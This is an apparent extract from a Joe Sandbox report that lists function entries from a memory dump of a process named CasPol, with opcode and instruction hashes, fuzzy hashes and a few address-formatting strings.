Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction ID: 53144c10e05f3dc60a410aa82d2e4c148dfa5415be3fd8be880daa6777bee2cc
Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction Fuzzy Hash: 12D01236100249EFCB01DF45D890D9AB76AFBD8710F108019FD190B7508A31ED62DA50

Function 0157340D Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
Instruction ID: efb3bceb6a1a73f74d62d1b9a80beded1a7fb829c0950c3dddc2434930abf8a3
Opcode Fuzzy Hash: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
Instruction Fuzzy Hash: 0CC08C781515826AFB6F5704D90AF2C3A55BF00726F84019CBB44AE4A2C36898029218

Function 01550750 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
Instruction ID: f01c6e4a21736f82691a084f16f40a37e81e4f8756215f86df909d69ae431e0f
Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
Instruction Fuzzy Hash: 76C04C757415428FCF15DB19D2A4F4977F4F754780F150890E905CF721E624E801CA10

Function 01593010 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a48d8ad8dc2ad16270212a441579e0a93d85f346ddca19b0ad509d4188c9387
Instruction ID: 3167aed3c8d3b7ae80d213ef15578a28416ee113422f9edd6a7626bcb45acaa6
Opcode Fuzzy Hash: 2a48d8ad8dc2ad16270212a441579e0a93d85f346ddca19b0ad509d4188c9387
Instruction Fuzzy Hash: B990026174184442D14072984814B0F4145A7E1213FD9C419A4156954CC95589555721

Function 01593090 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a867a4b0c58a9295167393232a7cfb4cf270ba1c9a8ac418b20dc7517130caf4
Instruction ID: 3ef30a1b4254c962dba6d54142451f92a8b2d20412b6ed2f74757f66d176e7d6
Opcode Fuzzy Hash: a867a4b0c58a9295167393232a7cfb4cf270ba1c9a8ac418b20dc7517130caf4
Instruction Fuzzy Hash: 9690026178140802D1407198842470B0046E7D0612F99C411A0024954DC6568A6567B1

Function 01594340 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4b46b86f18a0f3976ca30856c483f721d6f52b9bd17e13fe2eac05e4bc179c
Instruction ID: 665b53502bd14f0a7e29edd595ef7388076645638f3f6e2bebac9230c9f35ca0
Opcode Fuzzy Hash: bb4b46b86f18a0f3976ca30856c483f721d6f52b9bd17e13fe2eac05e4bc179c
Instruction Fuzzy Hash: D2900271B458001291407198489454A4045B7E0312B99C411E0424954CCA548A565361

Function 01594650 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28db427970e10e2f03f72a861b78bda768e12d8291414ed112db4811dd6cab8b
Instruction ID: 9efa092f304343d6a89f8e688d1dd71701b06a41876138af973b41ff6c8ff2aa
Opcode Fuzzy Hash: 28db427970e10e2f03f72a861b78bda768e12d8291414ed112db4811dd6cab8b
Instruction Fuzzy Hash: C19002A1B415004241407198481440A6045B7E13123D9C515A0554960CC65889559369

Function 015939B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82173e157cfe5f113c495f9871fabb54eb400b5802293a87e50dca397e6293bc
Instruction ID: d03c5eea1ff793b90a71f249b43b6830e36536a165a606a08217b9fbafe0a20b
Opcode Fuzzy Hash: 82173e157cfe5f113c495f9871fabb54eb400b5802293a87e50dca397e6293bc
Instruction Fuzzy Hash: 5D90026178545102D150719C441461A4045B7E0212F99C421A0814994DC59589556321

Function 01592BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703a515e6acd9d2f483ca1c3b7285a0d1f2990ea524eab41f77684bd629bb62d
Instruction ID: 35e9ccf782bdf13febaeba1d4732b02bb4e399bc50db58b84e15a21e20215be9
Opcode Fuzzy Hash: 703a515e6acd9d2f483ca1c3b7285a0d1f2990ea524eab41f77684bd629bb62d
Instruction Fuzzy Hash: FA90027174140802D1807198441464E0045A7D1312FD9C415A0025A54DCA558B5977A1

Function 01592BE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f721eec043d9f6d95585aa2ad98a05ddb2fe56ba916b8375edd39f65f0f6cc98
Instruction ID: 9a67851c2d725d791388be695a20278978e11472408518fc4d9597de9bed1295
Opcode Fuzzy Hash: f721eec043d9f6d95585aa2ad98a05ddb2fe56ba916b8375edd39f65f0f6cc98
Instruction Fuzzy Hash: 3090027174544842D14071984414A4A0055A7D0316F99C411A0064A94DD6658E55B761

Function 01592B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb7719ec7d342f518ed8c697145cd4b6009471dd053a401b0d9b7ab6410d604
Instruction ID: 14b3bbcad802c38d3e4e35cc59467524ef15348926730b1423c3f7f1e1f9bb7f
Opcode Fuzzy Hash: ffb7719ec7d342f518ed8c697145cd4b6009471dd053a401b0d9b7ab6410d604
Instruction Fuzzy Hash: 1390027174140802D1047198481468A0045A7D0312F99C411A6024A55ED6A589917231

Function 01592BA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46dfa2e0e4e717edc0f32bdc524d0f7bc4ea0dbb1cc74b7043f41b59f8c73031
Instruction ID: e3aeb6975698bb5fa6ce1aa5133a6432c8a56b68718b0fc9d2ab68e7c572bbe5
Opcode Fuzzy Hash: 46dfa2e0e4e717edc0f32bdc524d0f7bc4ea0dbb1cc74b7043f41b59f8c73031
Instruction Fuzzy Hash: B0900271B4540802D1507198442474A0045A7D0312F99C411A0024A54DC7958B5577A1

Function 01592AD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d006148eeed81857eaa1ebff48899a3b09c81953b72a1f4d1017f8697dafb7f
Instruction ID: 3487798f34fe27530b6a1cb4e689262c7eb97db95b613af302edd21f17272aa7
Opcode Fuzzy Hash: 9d006148eeed81857eaa1ebff48899a3b09c81953b72a1f4d1017f8697dafb7f
Instruction Fuzzy Hash: 7C900265751400030105B598071450B0086A7D5362399C421F1015950CD66189615221

Function 01592AF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74769bb05829065667e38b7745218fe792ffda6a8b39c23e3881309715120bd6
Instruction ID: 589fd797a18007b1600bb2a2122c5e3555bdb1da8eaa7cf8120d839f03fb6f53
Opcode Fuzzy Hash: 74769bb05829065667e38b7745218fe792ffda6a8b39c23e3881309715120bd6
Instruction Fuzzy Hash: 95900265761400020145B598061450F0485B7D63623D9C415F1416990CC66189655321

Function 01592AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f348a9b63e7a2a12573668dbd9c2220ac8aa3038dc62a62a463a3e905b5f9d5
Instruction ID: 5731a02bcf1465b337520f299b369da837d38226a4863b29170397ff3701a31c
Opcode Fuzzy Hash: 1f348a9b63e7a2a12573668dbd9c2220ac8aa3038dc62a62a463a3e905b5f9d5
Instruction Fuzzy Hash: 5C9002E1741540924500B2988414B0E4545A7E0212B99C416E1054960CC56589519235

Function 01593D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f3260adb593c57d9ab90989d1397314cb12709a02922314b5b1b2c801d3d40
Instruction ID: 3d86c3241d7d04e47a48882e3df69ccc3bf2dab3a42bd40e45edbd04ce3cd06b
Opcode Fuzzy Hash: 24f3260adb593c57d9ab90989d1397314cb12709a02922314b5b1b2c801d3d40
Instruction Fuzzy Hash: 3A90027574140402D5107198581464A0086A7D0312F99D811A0424958DC69489A1A221

Function 01592D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db402cd05224a1d010fcbcb677ac16d2494fd2b54b0ad4fb7e6c06e7b7d9309
Instruction ID: f579fd784a825373efa65a1f5f6ed651c8271c0f04997b84c703e1ba4cd14379
Opcode Fuzzy Hash: 5db402cd05224a1d010fcbcb677ac16d2494fd2b54b0ad4fb7e6c06e7b7d9309
Instruction Fuzzy Hash: BB90026975340002D1807198541860E0045A7D1213FD9D815A0015958CC95589695321

Function 01593D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b4363820f44538226b8a9c12db1520e5425249ca5ef1efb78ddfbd75021924
Instruction ID: 2d5cdfc75578e72bcc7427d64ec9944b853f19070bccf9a05ba07602233da4f1
Opcode Fuzzy Hash: 21b4363820f44538226b8a9c12db1520e5425249ca5ef1efb78ddfbd75021924
Instruction Fuzzy Hash: 6A90027174240142954072985814A4E4145A7E1313BD9D815A0015954CC95489615321

Function 01592D00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51ffdc67617bfe3aac72577ee9295c6e070024102863889d219b5de337ecfee5
Instruction ID: 6f8fec8db458c03b6d50b2cb07b5205537ca053b26d051c8ebfdba891902cf9e
Opcode Fuzzy Hash: 51ffdc67617bfe3aac72577ee9295c6e070024102863889d219b5de337ecfee5
Instruction Fuzzy Hash: AE90026174544442D10075985418A0A0045A7D0216F99D411A1064995DC6758951A231

Function 01592D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f2a1c91cd99b7ea564bf5d3138ead2072d05cf7f11c61f7aad830d5c93baf34
Instruction ID: 5a871d29e8ed5649bce1650c2c8a839d95d9683944a78668c311a2f0a53adbaa
Opcode Fuzzy Hash: 0f2a1c91cd99b7ea564bf5d3138ead2072d05cf7f11c61f7aad830d5c93baf34
Instruction Fuzzy Hash: BA90026174140003D1407198542860A4045F7E1312F99D411E0414954CD95589565322

Function 01592DD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32062a5d521904476c14728f3565de4153286d19b2ec95185266762ff075f05c
Instruction ID: d93386585cda0e6bbc127129f92a6f8aa5a7cfbabaa3d904fb4f63abd4933a13
Opcode Fuzzy Hash: 32062a5d521904476c14728f3565de4153286d19b2ec95185266762ff075f05c
Instruction Fuzzy Hash: 23900261782441525545B198441450B4046B7E02527D9C412A1414D50CC5669956D721

Function 01592DB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cce9fc97ae42d6989b6cd9c923f7bc9fa0c853f221e4d89b7dc824733b34731
Instruction ID: b16a612d853de395b3581c722d48318358986d6a451f03e33e8b1f870a829560
Opcode Fuzzy Hash: 4cce9fc97ae42d6989b6cd9c923f7bc9fa0c853f221e4d89b7dc824733b34731
Instruction Fuzzy Hash: D390027178140402D1417198441460A0049B7D0252FD9C412A0424954EC6958B56AB61

Function 01592C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8693f04c3c7fe55e18cd0b117f68d82c601e0d420009df8027303b2b9b9b87c3
Instruction ID: a9a64b0794c2e384d19260a93be9b9ce6ea100513cb2dac6dfe795abc940e68f
Opcode Fuzzy Hash: 8693f04c3c7fe55e18cd0b117f68d82c601e0d420009df8027303b2b9b9b87c3
Instruction Fuzzy Hash: F790027174140842D10071984414B4A0045A7E0312F99C416A0124A54DC655C9517621

Function 01592CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5a22c9cabaf84ed6e3de865dd26f6428a16c7904af39e57a040d14772f0a27
Instruction ID: 550075da3817a0734e0af8f0095cf799e74dbd62ab4d5688830522ca8f4ce52e
Opcode Fuzzy Hash: 0b5a22c9cabaf84ed6e3de865dd26f6428a16c7904af39e57a040d14772f0a27
Instruction Fuzzy Hash: 86900261B4540402D1407198542870A0055A7D0212F99D411A0024954DC6998B5567A1

Function 01592CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cfb4dcd3b14d2344857dd9e79d30091d0772c2108ada11dbec27522366f3bb5
Instruction ID: 9155c22afface43b9d713388503d0828f9f95a722c358950e439944264338918
Opcode Fuzzy Hash: 4cfb4dcd3b14d2344857dd9e79d30091d0772c2108ada11dbec27522366f3bb5
Instruction Fuzzy Hash: 7990027174140403D1007198551870B0045A7D0212F99D811A0424958DD69689516221

Function 01592CA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab123a46df0ed89e9390cf09af213937d41ebd82bdb5368dabbac790c0f9798
Instruction ID: 94daacaa066e6cf9fa425b913e6fc595ac58b1974aa8471cab70ed051e1ceea8
Opcode Fuzzy Hash: dab123a46df0ed89e9390cf09af213937d41ebd82bdb5368dabbac790c0f9798
Instruction Fuzzy Hash: 2390027174140402D10075D8541864A0045A7E0312F99D411A5024955EC6A589916231

Function 01592F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcfebdc3c1373d5a2fb84d7814bdddc07672cf14cca0f007f34e01b590806820
Instruction ID: 15fb9ec7c23781fdf13f013d37b7f9a023a04eed0e70d36230a04988405d4894
Opcode Fuzzy Hash: dcfebdc3c1373d5a2fb84d7814bdddc07672cf14cca0f007f34e01b590806820
Instruction Fuzzy Hash: 749002A175140042D1047198441470A0085A7E1212F99C412A2154954CC5698D615225

Function 01592F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa7b0a97c419f85e3eb66c992df41a7e971c757c7c3d889a070693f2386d2cf
Instruction ID: d98993ded00f8c0a2661f2409f1bd7c8792e969b3881f7d3d0fd287e709c176d
Opcode Fuzzy Hash: 8fa7b0a97c419f85e3eb66c992df41a7e971c757c7c3d889a070693f2386d2cf
Instruction Fuzzy Hash: AE9002A178140442D10071984424B0A0045E7E1312F99C415E1064954DC659CD526226

Function 01592FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 997edf7c838a44e6438e7d56efc0dc90a7df10fc1dea1735d516e6a6017a2799
Instruction ID: e48be68b3c5ee9ca0663700c27265a5bb5d956a30f0adc2e7d01b4391af680ba
Opcode Fuzzy Hash: 997edf7c838a44e6438e7d56efc0dc90a7df10fc1dea1735d516e6a6017a2799
Instruction Fuzzy Hash: 0A900261751C0042D20075A84C24B0B0045A7D0313F99C515A0154954CC95589615621

Function 01592F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f442cfe97fdf9b3eedef85c93aad25a238dfecaf651ae4e596d0f7ce9d943edd
Instruction ID: 9e113a98c6f8014f423a4f5edad2f92c09978686fd034f729cfc9ac34cf5adaa
Opcode Fuzzy Hash: f442cfe97fdf9b3eedef85c93aad25a238dfecaf651ae4e596d0f7ce9d943edd
Instruction Fuzzy Hash: FE90027174180402D1007198482470F0045A7D0313F99C411A1164955DC66589516671

Function 01592FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577a101f0e38bf372f0dbee68650f351bbbdb9f8a85583fd3b3ded6249b384e3
Instruction ID: b34a41a12a5526428752c55c638c53f75ae24bdc0dfa1a54959eb5f4c8d8c019
Opcode Fuzzy Hash: 577a101f0e38bf372f0dbee68650f351bbbdb9f8a85583fd3b3ded6249b384e3
Instruction Fuzzy Hash: 74900261B4140042414071A8885490A4045BBE1222799C521A0998950DC59989655765

Function 01592FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4e5001d89bfcdb618d9def6124cc62869ae0791d946dc62990046c4e7abd17
Instruction ID: 116e76949234c97262d256d49fad068ee24b631f59ee0f778d13f6fcc466716e
Opcode Fuzzy Hash: 5b4e5001d89bfcdb618d9def6124cc62869ae0791d946dc62990046c4e7abd17
Instruction Fuzzy Hash: 8590027174180402D1007198481874B0045A7D0313F99C411A5164955EC6A5C9916631

Function 01592E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d361166d89f8015d51a75ff0920caea92ea4db939e1ca34d9c5eb78ea855ee8
Instruction ID: 036894ec9913a3fdb28940c971ee4479f575b285bb5303aaf93db23779b8981b
Opcode Fuzzy Hash: 1d361166d89f8015d51a75ff0920caea92ea4db939e1ca34d9c5eb78ea855ee8
Instruction Fuzzy Hash: 2C90026174140402D1027198442460A0049E7D1356FD9C412E1424955DC6658A53A232

Function 01592EE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a66d08d9210281e96f3d9113e0380deb9d44c72da96111b5f537183f292de84
Instruction ID: 6ff94ea1bac8974f7703a50d42e2db85611b29511d469d8710b96f8bddab1d2b
Opcode Fuzzy Hash: 8a66d08d9210281e96f3d9113e0380deb9d44c72da96111b5f537183f292de84
Instruction Fuzzy Hash: A79002A174180403D1407598481460B0045A7D0313F99C411A2064955ECA698D516235

Function 01592E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af2785088458eadeb0f3b0fe3d98f6035e719b30766f328dd224c32e002d1348
Instruction ID: 80497bab0be286add8959912ba267118444c22b1b7c6f2e0e416b463f484c095
Opcode Fuzzy Hash: af2785088458eadeb0f3b0fe3d98f6035e719b30766f328dd224c32e002d1348
Instruction Fuzzy Hash: 26900261B4140502D1017198441461A004AA7D0252FD9C422A1024955ECA658A92A231

Function 01592EA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 888cd61ce33472605dc4892079a79ad41f60fc02dac5a7f5523d6f54a89e6c29
Instruction ID: dc9ae41ce81c80ea702baa49b7bc8f8cf400f44cb476867e426425305218e9b0
Opcode Fuzzy Hash: 888cd61ce33472605dc4892079a79ad41f60fc02dac5a7f5523d6f54a89e6c29
Instruction Fuzzy Hash: 7B9002B174140402D1407198441474A0045A7D0312F99C411A5064954EC6998ED56765

Function 01592C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 6c8438d8cd944d728962b7ee0aa36dddce5495c647adb3be67d6c8e7769cd858
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 01592890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0159293C
___swprintf_l.LIBCMT ref: 0159295E
___swprintf_l.LIBCMT ref: 015929A3
___swprintf_l.LIBCMT ref: 015CA52E

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 015CA54E
:%u.%u.%u.%u, xrefs: 015CA5B8
ffff:, xrefs: 015CA504
::%hs%u.%u.%u.%u, xrefs: 015CA527

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: a9ca8e5000bdf6ada85c87d207d1eb4058bd2a8be4b1f93fade6cbd15776a397
Instruction ID: 1c079f1356e88eefe3d71b0a35844ba45a58c599b17ddadacfa9a7034dc24efe
Opcode Fuzzy Hash: a9ca8e5000bdf6ada85c87d207d1eb4058bd2a8be4b1f93fade6cbd15776a397
